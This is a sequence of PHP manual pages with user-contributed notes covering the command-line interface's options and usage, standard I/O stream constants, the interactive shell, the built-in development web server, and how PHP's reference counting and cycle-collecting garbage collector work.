Specifies either a directory in which to look for php.ini, or a custom INI file (which does not need to be named php.ini), e.g.:

$ php -c /custom/directory/ my_script.php

$ php -c /custom/directory/custom-file.ini my_script.php

If this option is not specified, php.ini is searched for in the default locations.

-n --no-php-ini

Ignore php.ini completely.

-d --define

Set a custom value for any of the configuration directives allowed in php.ini. The syntax is:

 -d configuration_directive[=value]

# Omitting the value part will set the given configuration directive to "1"
$ php -d max_execution_time
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(1) "1"

# Passing an empty value part will set the configuration directive to ""
php -d max_execution_time=
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(0) ""

# The configuration directive will be set to anything passed after the '=' character
$  php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(2) "20"
$  php
        -d max_execution_time=doesntmakesense
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
string(15) "doesntmakesense"

-e --profile-info

Activate the extended information mode, to be used by a debugger/profiler.

-f --file

Parse and execute the specified file. The -f is optional and may be omitted - providing just the filename to execute is sufficient.

Note:

To pass arguments to a script, the first argument must be --, otherwise PHP will interpret them as PHP options.

-h and -? | --help and --usage | Output a list of command line options with one line descriptions of what they do.
-i | --info | Calls phpinfo(), and prints out the results. If PHP is not working correctly, it is advisable to use the command php -i and see whether any error messages are printed out before or in place of the information tables. Beware that when using the CGI mode the output is in HTML and therefore very large.
-l --syntax-check

Provides a convenient way to perform only a syntax check on the given PHP code. On success, the text No syntax errors detected in <filename> is written to standard output and the shell return code is 0. On failure, the text Errors parsing <filename> in addition to the internal parser error message is written to standard output and the shell return code is set to -1.

This option won't find fatal errors (like undefined functions). Use the -f to test for fatal errors too.

Note:

This option does not work together with the -r option.

-m --modules

Example #1 Printing built in (and loaded) PHP and Zend modules

$ php -m
[PHP Modules]
xml
tokenizer
standard
session
posix
pcre
overload
mysql
mbstring
ctype

[Zend Modules]

-r --run

Allows execution of PHP included directly on the command line. The PHP start and end tags (<?php and ?>) are not needed and will cause a parse error if present.

Note:

Care must be taken when using this form of PHP not to collide with command line variable substitution done by the shell.

Example #2 Getting a syntax error when using double quotes

$ php -r "$foo = get_defined_constants();"
PHP Parse error:  syntax error, unexpected '=' in Command line code on line 1

Parse error: syntax error, unexpected '=' in Command line code on line 1

The problem here is that sh/bash performs variable substitution even when using double quotes ". Since the variable $foo is unlikely to be defined, it expands to nothing which results in the code passed to PHP for execution actually reading:

$ php -r " = get_defined_constants();"

The correct way would be to use single quotes '. Variables in single-quoted strings are not expanded by sh/bash.

Example #3 Using single quotes to prevent the shell's variable substitution

$ php -r '$foo = get_defined_constants(); var_dump($foo);'
array(370) {
  ["E_ERROR"]=>
  int(1)
  ["E_WARNING"]=>
  int(2)
  ["E_PARSE"]=>
  int(4)
  ["E_NOTICE"]=>
  int(8)
  ["E_CORE_ERROR"]=>
  [...]

If using a shell other than sh/bash, further issues might be experienced - if appropriate, a bug report should be opened at » http://bugs.php.net/. It is still easy to run into trouble when trying to use variables (shell or PHP) in commnad-line code, or using backslashes for escaping, so take great care when doing so. You have been warned!

Note:

-r is available in the CLI SAPI, but not in the CGI SAPI.

Note:

This option is only intended for very basic code, so some configuration directives (such as auto_prepend_file and auto_append_file) are ignored in this mode.

-B --process-begin

PHP code to execute before processing stdin. Added in PHP 5.

-R --process-code

PHP code to execute for every input line. Added in PHP 5.

There are two special variables available in this mode: $argn and $argi. $argn will contain the line PHP is processing at that moment, while $argi will contain the line number.

-F --process-file

PHP file to execute for every input line. Added in PHP 5.

-E --process-end

PHP code to execute after processing the input. Added in PHP 5.

Example #4 Using the -B , -R and -E options to count the number of lines of a project.

$ find my_proj | php -B '$l=0;' -R '$l += count(@file($argn));' -E 'echo "Total Lines: $l\n";'
Total Lines: 37328

-s --syntax-highlight and --syntax-highlighting

Display colour syntax highlighted source.

This option uses the internal mechanism to parse the file and writes an HTML highlighted version of it to standard output. Note that all it does is generate a block of <code> [...] </code> HTML tags, no HTML headers.

Note:

This option does not work together with the -r option.

-v --version

Example #5 Using -v to get the SAPI name and the version of PHP and Zend

$ php -v
PHP 5.3.1 (cli) (built: Dec 11 2009 19:55:07)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2009 Zend Technologies

-w --strip

Display source with comments and whitespace stripped.

Note:

This option does not work together with the -r option.

-z --zend-extension

Load Zend extension. If only a filename is given, PHP tries to load this extension from the current default library path on your system (usually /etc/ld.so.conf on Linux systems, for example). Passing a filename with an absolute path will not use the system's library search path. A relative filename including directory information will tell PHP to try loading the extension relative to the current directory.

--ini

Show configuration file names and scanned directories. Available as of PHP 5.2.3.

Example #6 --ini example

$ php --ini
Configuration File (php.ini) Path: /usr/dev/php/5.2/lib
Loaded Configuration File:         /usr/dev/php/5.2/lib/php.ini
Scan for additional .ini files in: (none)
Additional .ini files parsed:      (none)
--rf --rfunction

Show information about the given function or class method (e.g. number and name of the parameters). Available as of PHP 5.1.2.

This option is only available if PHP was compiled with Reflection support.

Example #7 basic --rf usage

$ php --rf var_dump
Function [ <internal> public function var_dump ] {

  - Parameters [2] {
    Parameter #0 [ <required> $var ]
    Parameter #1 [ <optional> $... ]
  }
}
--rc --rclass

Show information about the given class (list of constants, properties and methods). Available as of PHP 5.1.2.

This option is only available if PHP was compiled with Reflection support.

Example #8 --rc example

$ php --rc Directory
Class [ <internal:standard> class Directory ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [0] {
  }

  - Methods [3] {
    Method [ <internal> public method close ] {
    }

    Method [ <internal> public method rewind ] {
    }

    Method [ <internal> public method read ] {
    }
  }
}
--re --rextension

Show information about the given extension (list of php.ini options, defined functions, constants and classes). Available as of PHP 5.1.2.

This option is only available if PHP was compiled with Reflection support.

Example #9 --re example

$ php --re json
Extension [ <persistent> extension #19 json version 1.2.1 ] {

  - Functions {
    Function [ <internal> function json_encode ] {
    }
    Function [ <internal> function json_decode ] {
    }
  }
}
--rz --rzendextension

Show the configuration information for the given Zend extension (the same information that is returned by phpinfo()). Available as of PHP 5.4.0.

--ri --rextinfo

Show the configuration information for the given extension (the same information that is returned by phpinfo()). Available as of PHP 5.2.2. The core configuration information is available using "main" as extension name.

Example #10 --ri example

$ php --ri date

date

date/time support => enabled
"Olson" Timezone Database Version => 2009.20
Timezone Database => internal
Default timezone => Europe/Oslo

Directive => Local Value => Master Value
date.timezone => Europe/Oslo => Europe/Oslo
date.default_latitude => 59.930972 => 59.930972
date.default_longitude => 10.776699 => 10.776699
date.sunset_zenith => 90.583333 => 90.583333
date.sunrise_zenith => 90.583333 => 90.583333

Note:

Options -rBRFEH, --ini and --r[fcezi] are available only in CLI.

User Contributed Notes

There are no user contributed notes for this page.
Differences to other SAPIs
Usage
Command line usage


Executing PHP files

There are three different ways of supplying the CLI SAPI with PHP code to be executed:

  1. Tell PHP to execute a certain file.

    $ php my_script.php

$ php -f my_script.php

    Both ways (whether using the -f switch or not) execute the file my_script.php. Note that there is no restriction on which files can be executed; in particular, the filename is not required have a .php extension.

    Note:

    If arguments need to be passed to the script when using -f , the first argument must be --.

  2. Pass the PHP code to execute directly on the command line.

    $ php -r 'print_r(get_defined_constants());'

    Special care has to be taken with regard to shell variable substitution and usage of quotes.

    Note:

    Read the example carefully: there are no beginning or ending tags! The -r switch simply does not need them, and using them will lead to a parse error.

  3. Provide the PHP code to execute via standard input (stdin).

    This gives the powerful ability to create PHP code dynamically and feed it to the binary, as shown in this (fictional) example:

    $ some_application | some_filter | php | sort -u > final_output.txt
You cannot combine any of the three ways to execute code.

As with every shell application, the PHP binary accepts a number of arguments; however, the PHP script can also receive further arguments. The number of arguments that can be passed to your script is not limited by PHP (and although the shell has a limit to the number of characters which can be passed, this is not in general likely to be hit). The arguments passed to the script are available in the global array $argv. The first index (zero) always contains the name of the script as called from the command line. Note that, if the code is executed in-line using the command line switch -r , the value of $argv[0] will be just a dash (-). The same is true if the code is executed via a pipe from STDIN.

A second global variable, $argc, contains the number of elements in the $argv array (not the number of arguments passed to the script).

As long as the arguments to be passed to the script do not start with the - character, there's nothing special to watch out for. Passing an argument to the script which starts with a - will cause trouble because the PHP interpreter thinks it has to handle it itself, even before executing the script. To prevent this, use the argument list separator --. After this separator has been parsed by PHP, every following argument is passed untouched to the script.

# This will not execute the given code but will show the PHP usage
$ php -r 'var_dump($argv);' -h
Usage: php [options] [-f] <file> [args...]
[...]

# This will pass the '-h' argument to the script and prevent PHP from showing its usage
$ php -r 'var_dump($argv);' -- -h
array(2) {
  [0]=>
  string(1) "-"
  [1]=>
  string(2) "-h"
}

However, on Unix systems there's another way of using PHP for shell scripting: make the first line of the script start with #!/usr/bin/php (or whatever the path to your PHP CLI binary is if different). The rest of the file should contain normal PHP code within the usual PHP starting and end tags. Once the execution attributes of the file are set appropriately (e.g. chmod +x test), the script can be executed like any other shell or perl script:

Example #1 Execute PHP script as shell script

#!/usr/bin/php
<?php
var_dump($argv);
?>

Assuming this file is named test in the current directory, it is now possible to do the following:

$ chmod +x test
$ ./test -h -- foo
array(4) {
  [0]=>
  string(6) "./test"
  [1]=>
  string(2) "-h"
  [2]=>
  string(2) "--"
  [3]=>
  string(3) "foo"
}

As can be seen, in this case no special care needs to be taken when passing parameters starting with -.

The PHP executable can be used to run PHP scripts absolutely independent of the web server. On Unix systems, the special #! (or "shebang") first line should be added to PHP scripts so that the system can automatically tell which program should run the script. On Windows platforms, it's possible to associate php.exe with the double click option of the .php extension, or a batch file can be created to run scripts through PHP. The special shebang first line for Unix does no harm on Windows (as it's formatted as a PHP comment), so cross platform programs can be written by including it. A simple example of writing a command line PHP program is shown below.

Example #2 Script intended to be run from command line (script.php)

#!/usr/bin/php
<?php

if ($argc != 2 || in_array($argv[1], array('--help', '-help', '-h', '-?'))) {
?>

This is a command line PHP script with one option.

  Usage:
  <?php echo $argv[0]; ?> <option>

  <option> can be some word you would like
  to print out. With the --help, -help, -h,
  or -? options, you can get this help.

<?php
} else {
    echo $argv[1];
}
?>

The script above includes the Unix shebang first line to indicate that this file should be run by PHP. We are working with a CLI version here, so no HTTP headers will be output.

The program first checks that there is the required one argument (in addition to the script name, which is also counted). If not, or if the argument was --help , -help , -h or -? , the help message is printed out, using $argv[0] to dynamically print the script name as typed on the command line. Otherwise, the argument is echoed out exactly as received.

To run the above script on Unix, it must be made executable, and called simply as script.php echothis or script.php -h. On Windows, a batch file similar to the following can be created for this task:

Example #3 Batch file to run a command line PHP script (script.bat)

@echo OFF
"C:\php\php.exe" script.php %*

Assuming the above program is named script.php, and the CLI php.exe is in C:\php\php.exe, this batch file will run it, passing on all appended options: script.bat echothis or script.bat -h.

See also the Readline extension documentation for more functions which can be used to enhance command line applications in PHP.

On Windows, PHP can be configured to run without the need to supply the C:\php\php.exe or the .php extension, as described in Command Line PHP on Microsoft Windows.

User Contributed Notes

andrew-by at hotmail dot com 19-Oct-2011 09:59
If you want your batch file's window stay opened after executing the PHP script just add "pause" at the last line. So it should look like:

@echo OFF
"C:\php\php.exe" script.php %*
pause
petruzanautico at yah00 dot com dot ar 17-Aug-2011 01:06
As you can't use -r and -f together, you can circumvent this by doing the following:
php -r '$foo = 678; include("your_script.php");'
spencer at aninternetpresence dot net 07-Aug-2011 05:03
If you are running the CLI on Windows and use the "-r" option, be sure to enclose your PHP code in double (not single) quotes. Otherwise, your code will not run.
Options
I/O streams
Command line usage


Input/output streams

The CLI SAPI defines a few constants for I/O streams to make programming for the command line a bit easier.

CLI specific Constants
Constant Description
STDIN

An already opened stream to stdin. This saves opening it with

<?php
$stdin = fopen('php://stdin', 'r');
?>
If you want to read single line from stdin, you can use
<?php
$line = trim(fgets(STDIN)); // reads one line from STDIN
fscanf(STDIN, "%d\n", $number); // reads number from STDIN
?>

STDOUT

An already opened stream to stdout. This saves opening it with

<?php
$stdout = fopen('php://stdout', 'w');
?>

STDERR

An already opened stream to stderr. This saves opening it with

<?php
$stderr = fopen('php://stderr', 'w');
?>

Given the above, you don't need to open e.g. a stream for stderr yourself but simply use the constant instead of the stream resource:

php -r 'fwrite(STDERR, "stderr\n");'
You do not need to explicitly close these streams, as they are closed automatically by PHP when your script ends.

Note:

These constants are not available if reading the PHP script from stdin.

User Contributed Notes

ecrist at secure-computing dot net 27-Jul-2011 08:15
The following code shows how to test for input on STDIN.  In this case, we were looking for CSV data, so we use fgetcsv to read STDIN, if it creates an array, we assume CVS input on STDIN, if no array was created, we assume there's no input from STDIN, and look, later, to an argument with a CSV file name.

Note, without the stream_set_blocking() call, fgetcsv() hangs on STDIN, awaiting input from the user, which isn't useful as we're looking for a piped file. If it isn't here already, it isn't going to be.

<?php
stream_set_blocking(STDIN, 0);
$csv_ar = fgetcsv(STDIN);
if (is_array($csv_ar)){
  print "CVS on STDIN\n";
} else {
  print "Look to ARGV for CSV file name.\n";
}
?>
Aurelien Marchand 04-Mar-2011 08:10
Please remember in multi-process applications (which are best suited under CLI), that I/O operations often will BLOCK signals from being processed.

For instance, if you have a parent waiting on fread(STDIN), it won't handle SIGCHLD, even if you defined a signal handler for it, until after the call to fread has returned.

Your solution in this case is to wait on stream_select() to find out whether reading will block. Waiting on stream_select(), critically, does NOT BLOCK signals from being processed.

Aurelien
James Zhu 09-Dec-2010 01:45
Example:

<?php
function ReadStdin($prompt, $valid_inputs, $default = '') {
    while(!isset($input) || (is_array($valid_inputs) && !in_array($input, $valid_inputs)) || ($valid_inputs == 'is_file' && !is_file($input))) {
        echo $prompt;
        $input = strtolower(trim(fgets(STDIN)));
        if(empty($input) && !empty($default)) {
            $input = $default;
        }
    }
    return $input;
}

// you can input <Enter> or 1, 2, 3
$choice = ReadStdin('Please choose your answer or press Enter to continue: ', array('', '1', '2', '3'));

// check input is valid file name, use /var/path for input nothing
$file = ReadStdin('Please input the file name(/var/path):', 'is_file', '/var/path');
?>

you can add more functions if you want.
Usage
Interactive shell
Command line usage


Interactive shell

As of PHP 5.1.0, the CLI SAPI provides an interactive shell using the -a option if PHP is compiled with the --with-readline option.

Using the interactive shell you are able to type PHP code and have it executed directly.

Example #1 Executing code using the interactive shell

$ php -a
Interactive shell

php > echo 5+8;
13
php > function addTwo($n)
php > {
php { return $n + 2;
php { }
php > var_dump(addtwo(2));
int(4)
php >

The interactive shell also features tab completion for functions, constants, class names, variables, static method calls and class constants.

Example #2 Tab completion

Pressing the tab key twice when there are multiple possible completions will result in a list of these completions:

php > strp[TAB][TAB]
strpbrk   strpos    strptime
php > strp

When there is only one possible completion, pressing tab once will complete the rest on the same line:

php > strpt[TAB]ime(

Completion will also work for names that have been defined during the current interactive shell session:

php > $fooThisIsAReallyLongVariableName = 42;
php > $foo[TAB]ThisIsAReallyLongVariableName

The interactive shell stores your history which can be accessed using the up and down keys. The history is saved in the ~/.php_history file.

As of PHP 5.4.0, the CLI SAPI provides the php.ini settings cli.pager and cli.prompt. The cli.pager setting allows an external program (such as less) to act as a pager for the output instead of being displayed directly on the screen. The cli.prompt setting makes it possible to change the php > prompt.

In PHP 5.4.0 it was also made possible to set php.ini settings in the interactive shell using a shorthand notation.

Example #3 Setting php.ini settings in the interactive shell

The cli.prompt setting:

php > #cli.prompt=hello world :>
hello world :>

Using backticks it is possible to have PHP code executed in the prompt:

php > #cli.prompt=`echo date('H:i:s');` php >
15:49:35 php > echo 'hi';
hi
15:49:43 php > sleep(2);
15:49:45 php >

Setting the pager to less:

php > #cli.pager=less
php > phpinfo();
(output displayed in less)
php >

The cli.prompt setting supports a few escape sequences:

cli.prompt escape sequences
Sequence | Description
\e | Used for adding colors to the prompt. An example could be \e[032m\v \e[031m\b \e[34m\> \e[0m
\v | The PHP version.
\b | Indicates which block PHP is in. For instance /* to indicate being inside a multi-line comment. The outer scope is denoted by php.
\> | Indicates the prompt character. By default this is >, but changes when the shell is inside an unterminated block or string. Possible characters are: ' " { ( >

Note:

Files included through auto_prepend_file and auto_append_file are parsed in this mode but with some restrictions - e.g. functions have to be defined before called.

Note:

Autoloading is not available if using PHP in CLI interactive mode.

User Contributed Notes

spencer at aninternetpresence dot net 09-Sep-2011 10:45
In Windows, press Enter after your ending PHP tag and then hit Ctrl-Z to denote the end-of-file:

C:\>php -a
Interactive mode enabled

<?php
echo "Hello, world!";
?>
^Z
Hello, world!

You can use the up and down arrows in interactive mode to recall previous code you ran.
alexandrebr at gmail dot com 30-Jun-2011 02:55
For those who (just like me) can't get it working, try to press CTRL+D after inserting some commands.

Example:
php
<?php
echo "Hello World!\r\n";
(Hit CTRL+D here)
Hello World!

This is NOT interactive mode, but may help you.

To have the "-i" available, you'll need the following arguments while compiling PHP:
--with-readline e --with-libedit
xEviL 16-Jan-2011 05:17
When building php on FreeBSD from ports one can add --with-readline option by manually editing the var CONFIGURE_ARGS in Makefile inside the php port directory and proceeding with build as usual.
kastor matthewkastor at live dot com 22-Dec-2010 05:16
I rummaged through the internet and the manual so I could get to an interactive shell in a windows environment. I was trying to put the information into a note here, but it's too long.

It's a lot of words, but it's not hard to do. I've been keeping some notes on my website, but it's crap, and it's not always on. Maybe someone who knows what they're doing can get this where it needs to be? I think it's important to have all the instructions in the same place.

http://atropa.freeiz.com/?context=fetch_chapter&content_id=14
Anonymous 28-Jun-2010 03:41
It seems the interactive shell cannot be made to work in WIN environments at the moment.

Using "php://stdin", it shouldn't be too difficult to roll your own.  You can partially mimic the shell by calling this simple script (Note: Window's cmd already has an input history calling feature using the up/down keys, and that functionality will still be available during execution here):

<?php

$fp = fopen("php://stdin", "r");
$in = '';
while($in != "quit") {
    echo "php> ";
    $in=trim(fgets($fp));
    eval ($in);
    echo "\n";
    }

?>

Replace 'eval' with code to parse the input string, validate it using is_callable and other variable handling functions, catch fatal errors before they happen, allow line-by-line function defining, etc.  Though Readline is not available in Windows, for more tips and examples for workarounds, see http://www.php.net/manual/en/ref.readline.php
Anonymous 20-Jun-2010 12:56
Just a few more notes to add...

1) Hitting return does literally mean "execute this command".  Semicolon to note end of line is still required.  Meaning, doing the following will produce a parse error:

php > print "test"
php > print "asdf";

Whereas doing the following is just fine:

php > print "test"
php > ."asdf";

2) Fatal errors may eject you from the shell:

name@local:~$ php -a
php > asdf();

Fatal Error: call to undefined function...
name@local:~$

3) User defined functions are not saved in history from shell session to shell session.

4) Should be obvious, but to quit the shell, just type "quit" at the php prompt.

5) In a sense, the shell interaction can be thought of as linearly following a regular php file, except it's live and dynamic.  If you define a function that you've already defined earlier in your current shell, you will receive a fatal "function already defined" error only upon entering that closing bracket.  And, although "including" a toolset of custom functions or a couple of script addon php files is rather handy, should you edit those files and wish to "reinclude" it again, you'll cause a fatal "function x already defined" error.
I/O streams
Built-in web server
Command line usage


Built-in web server

As of PHP 5.4.0, the CLI SAPI provides a built-in web server.

This web server is designed for developmental purposes only, and should not be used in production.

URI requests are served from the current working directory where PHP was started, unless the -t option is used to specify an explicit document root.

If a URI request does not specify a file, then either index.php or index.html in the given directory are returned. If neither file exists, then a 404 response code is returned.

If a PHP file is given on the command line when the web server is started it is treated as a "router" script for the web server. The script is run at the start of each HTTP request. If this script returns FALSE, then the requested resource is returned as-is. Otherwise the script's output is returned to the browser.

Example #1 Starting the web server

$ cd ~/public_html
$ php -S localhost:8000

The terminal will show:

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit

After URI requests for http://localhost:8000/ and http://localhost:8000/myscript.html the terminal will show something similar to:

PHP 5.4.0 Development Server started at Thu Jul 21 10:43:28 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit.
[Thu Jul 21 10:48:48 2011] ::1:39144 GET /favicon.ico - Request read
[Thu Jul 21 10:48:50 2011] ::1:39146 GET / - Request read
[Thu Jul 21 10:48:50 2011] ::1:39147 GET /favicon.ico - Request read
[Thu Jul 21 10:48:52 2011] ::1:39148 GET /myscript.html - Request read
[Thu Jul 21 10:48:52 2011] ::1:39149 GET /favicon.ico - Request read

Example #2 Starting with a specific document root directory

$ cd ~/public_html
$ php -S localhost:8000 -t foo/

The terminal will show:

PHP 5.4.0 Development Server started at Thu Jul 21 10:50:26 2011
Listening on localhost:8000
Document root is /home/me/public_html/foo
Press Ctrl-C to quit

Example #3 Using a Router Script

Requests for images will display them, but requests for HTML files will display "Welcome to PHP"

<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"]))
    return false;    // serve the requested resource as-is.
else {
    echo "<p>Welcome to PHP</p>";
}
?>
$ php -S localhost:8000 router.php

After several URI requests the terminal will show something similar to:

PHP 5.4.0 Development Server started at Thu Jul 21 10:53:19 2011
Listening on localhost:8000
Document root is /home/me/public_html
Press Ctrl-C to quit.
[Thu Jul 21 10:53:45 2011] ::1:55801 GET /mylogo.jpg - Request read
[Thu Jul 21 10:53:52 2011] ::1:55803 GET /abc.html - Request read
[Thu Jul 21 10:53:52 2011] ::1:55804 GET /favicon.ico - Request read

User Contributed Notes

Anonymous 11-Jul-2011 08:52
From Ralph Schindler's mail http://news.php.net/php.internals/53870:

If you choose to put your index.php in as the router, then your
index.php should be cli-server aware:

   <?php

   if (php_sapi_name() == 'cli-server') {
     /* route static assets and return false */
   }

   /* go on with normal index.php operations */
Interactive shell
Garbage Collection
Command line usage


Garbage Collection

Table of Contents

  • Reference Counting Basics
  • Collecting Cycles
  • Performance Considerations

This section explains the merits of the new Garbage Collection (also known as GC) mechanism that is part of PHP 5.3.

User Contributed Notes

neo22s at gmail dot com 30-Oct-2011 02:58
Memory cleanup for long-running scripts.

<?php
gc_enable(); // Enable Garbage Collector
var_dump(gc_enabled()); // true
var_dump(gc_collect_cycles()); // # of elements cleaned up
gc_disable(); // Disable Garbage Collector
?>
Built-in web server
Reference Counting Basics
Features


Reference Counting Basics

A PHP variable is stored in a container called a "zval". A zval container contains, besides the variable's type and value, two additional bits of information. The first is called "is_ref" and is a boolean value indicating whether or not the variable is part of a "reference set". With this bit, PHP's engine knows how to differentiate between normal variables and references. Since PHP allows user-land references, as created by the & operator, a zval container also has an internal reference counting mechanism to optimize memory usage. This second piece of additional information, called "refcount", contains how many variable names (also called symbols) point to this one zval container. All symbols are stored in a symbol table, of which there is one per scope. There is a scope for the main script (i.e., the one requested through the browser), as well as one for every function or method.

A zval container is created when a new variable is created with a constant value, such as:

Example #1 Creating a new zval container

<?php
$a = "new string";
?>

In this case, the new symbol name, a, is created in the current scope, and a new variable container is created with the type string and the value new string. The "is_ref" bit is by default set to FALSE because no user-land reference has been created. The "refcount" is set to 1 as there is only one symbol that makes use of this variable container. Note that if "refcount" is 1, "is_ref" is always FALSE. If you have » Xdebug installed, you can display this information by calling xdebug_debug_zval().

Example #2 Displaying zval information

<?php
xdebug_debug_zval('a');
?>

The above example will output:

a: (refcount=1, is_ref=0)='new string'

Assigning this variable to another variable name will increase the refcount.

Example #3 Increasing refcount of a zval

<?php
$a = "new string";
$b = $a;
xdebug_debug_zval( 'a' );
?>

The above example will output:

a: (refcount=2, is_ref=0)='new string'

The refcount is 2 here, because the same variable container is linked with both a and b. PHP is smart enough not to copy the actual variable container when it is not necessary. Variable containers get destroyed when the "refcount" reaches zero. The "refcount" gets decreased by one when any symbol linked to the variable container leaves the scope (e.g. when the function ends) or when unset() is called on a symbol. The following example shows this:

Example #4 Decreasing zval refcount

<?php
$a = "new string";
$c = $b = $a;
xdebug_debug_zval( 'a' );
unset( $b, $c );
xdebug_debug_zval( 'a' );
?>

The above example will output:

a: (refcount=3, is_ref=0)='new string'
a: (refcount=1, is_ref=0)='new string'

If we now call unset($a);, the variable container, including the type and value, will be removed from memory.

Compound Types

Things get a tad more complex with compound types such as arrays and objects. Instead of a scalar value, arrays and objects store their properties in a symbol table of their own. This means that the following example creates three zval containers:

Example #5 Creating a array zval

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=1, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42
)

Or graphically

Zvals for a simple array

The three zval containers are: a, meaning, and number. Similar rules apply for increasing and decreasing "refcounts". Below, we add another element to the array, and set its value to the contents of an already existing element:

Example #6 Adding already existing element to an array

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=1, is_ref=0)=array (
   'meaning' => (refcount=2, is_ref=0)='life',
   'number' => (refcount=1, is_ref=0)=42,
   'life' => (refcount=2, is_ref=0)='life'
)

Or graphically

Zvals for a simple array with a reference

From the above Xdebug output, we see that both the old and new array elements now point to a zval container whose "refcount" is 2. Although Xdebug's output shows two zval containers with value 'life', they are the same one. The xdebug_debug_zval() function does not show this, but you could see it by also displaying the memory pointer.

Removing an element from the array is like removing a symbol from a scope. By doing so, the "refcount" of a container that an array element points to is decreased. Again, when the "refcount" reaches zero, the variable container is removed from memory. Again, an example to show this:

Example #7 Removing an element from an array

<?php
$a = array( 'meaning' => 'life', 'number' => 42 );
$a['life'] = $a['meaning'];
unset( $a['meaning'], $a['number'] );
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=1, is_ref=0)=array (
   'life' => (refcount=1, is_ref=0)='life'
)

Now, things get interesting if we add the array itself as an element of the array, which we do in the next example, in which we also sneak in a reference operator, since otherwise PHP would create a copy:

Example #8 Adding the array itself as an element of it self

<?php
$a = array( 'one' );
$a[] =& $a;
xdebug_debug_zval( 'a' );
?>

The above example will output something similar to:

a: (refcount=2, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=2, is_ref=1)=...
)

Or graphically

Zvals for an array with a circular reference

You can see that the array variable (a) as well as the second element (1) now point to a variable container that has a "refcount" of 2. The "..." in the display above shows that there is recursion involved, which, of course, in this case means that the "..." points back to the original array.

Just like before, unsetting a variable removes the symbol, and the reference count of the variable container it points to is decreased by one. So, if we unset variable $a after running the above code, the reference count of the variable container that $a and element "1" point to gets decreased by one, from "2" to "1". This can be represented as:

Example #9 Unsetting $a

(refcount=1, is_ref=1)=array (
   0 => (refcount=1, is_ref=0)='one',
   1 => (refcount=1, is_ref=1)=...
)

Or graphically

Zvals after removal of array with a circular reference demonstrating the memory leak

Cleanup Problems

Although there is no longer a symbol in any scope pointing to this structure, it cannot be cleaned up because the array element "1" still points to this same array. Because there is no external symbol pointing to it, there is no way for a user to clean up this structure; thus you get a memory leak. Fortunately, PHP will clean up this data structure at the end of the request, but before then, this is taking up valuable space in memory. This situation happens often if you're implementing parsing algorithms or other things where you have a child point back at a "parent" element. The same situation can also happen with objects of course, where it actually is more likely to occur, as objects are always implicitly used by reference.

This might not be a problem if this only happens once or twice, but if there are thousands, or even millions, of these memory losses, this obviously starts being a problem. This is especially problematic in long running scripts, such as daemons where the request basically never ends, or in large sets of unit tests. The latter caused problems while running the unit tests for the Template component of the eZ Components library. In some cases, it would require over 2 GB of memory, which the test server didn't quite have.

User Contributed Notes

There are no user contributed notes for this page.
Garbage Collection
Collecting Cycles
Garbage Collection


Collecting Cycles

Traditionally, reference counting memory mechanisms, such as that used previously by PHP, fail to address circular reference memory leaks. As of 5.3.0 PHP however implements the synchronous algorithm from the » Concurrent Cycle Collection in Reference Counted Systems paper which addresses that issue.

A full explanation of how the algorithm works would be slightly beyond the scope of this section, but the basics are explained here. First of all, we have to establish a few ground rules. If a refcount is increased, it's still in use and therefore, not garbage. If the refcount is decreased and hits zero, the zval can be freed. This means that garbage cycles can only be created when a refcount argument is decreased to a non-zero value. Secondly, in a garbage cycle, it is possible to discover which parts are garbage by checking whether it is possible to decrease their refcount by one, and then checking which of the zvals have a refcount of zero.

Garbage collection algorithm

To avoid having to call the checking of garbage cycles with every possible decrease of a refcount, the algorithm instead puts all possible roots (zvals) in the "root buffer" (marking them "purple"). It also makes sure that each possible garbage root ends up in the buffer only once. Only when the root buffer is full does the collection mechanism start for all the different zvals inside. See step A in the figure above.

In step B, the algorithm runs a depth-first search on all possible roots to decrease by one the refcounts of each zval it finds, making sure not to decrease a refcount on the same zval twice (by marking them as "grey"). In step C, the algorithm again runs a depth-first search from each root node, to check the refcount of each zval again. If it finds that the refcount is zero, the zval is marked "white" (blue in the figure). If it's larger than zero, it reverts the decreasing of the refcount by one with a depth-first search from that point on, and they are marked "black" again. In the last step (D), the algorithm walks over the root buffer removing the zval roots from there, and meanwhile, checks which zvals have been marked "white" in the previous step. Every zval marked as "white" will be freed.

Now that you have a basic understanding of how the algorithm works, we will look back at how this integrates with PHP. By default, PHP's garbage collector is turned on. There is, however, a php.ini setting that allows you to change this: zend.enable_gc .

When the garbage collector is turned on, the cycle-finding algorithm as described above is executed whenever the root buffer runs full. The root buffer has a fixed size of 10,000 possible roots (although you can alter this by changing the GC_ROOT_BUFFER_MAX_ENTRIES constant in Zend/zend_gc.c in the PHP source code, and re-compiling PHP). When the garbage collector is turned off, the cycle-finding algorithm will never run. However, possible roots will always be recorded in the root buffer, no matter whether the garbage collection mechanism has been activated with this configuration setting.

If the root buffer becomes full with possible roots while the garbage collection mechanism is turned off, further possible roots will simply not be recorded. Those possible roots that are not recorded will never be analyzed by the algorithm. If they were part of a circular reference cycle, they would never be cleaned up and would create a memory leak.

The reason why possible roots are recorded even if the mechanism has been disabled is because it's faster to record possible roots than to have to check whether the mechanism is turned on every time a possible root could be found. The garbage collection and analysis mechanism itself, however, can take a considerable amount of time.

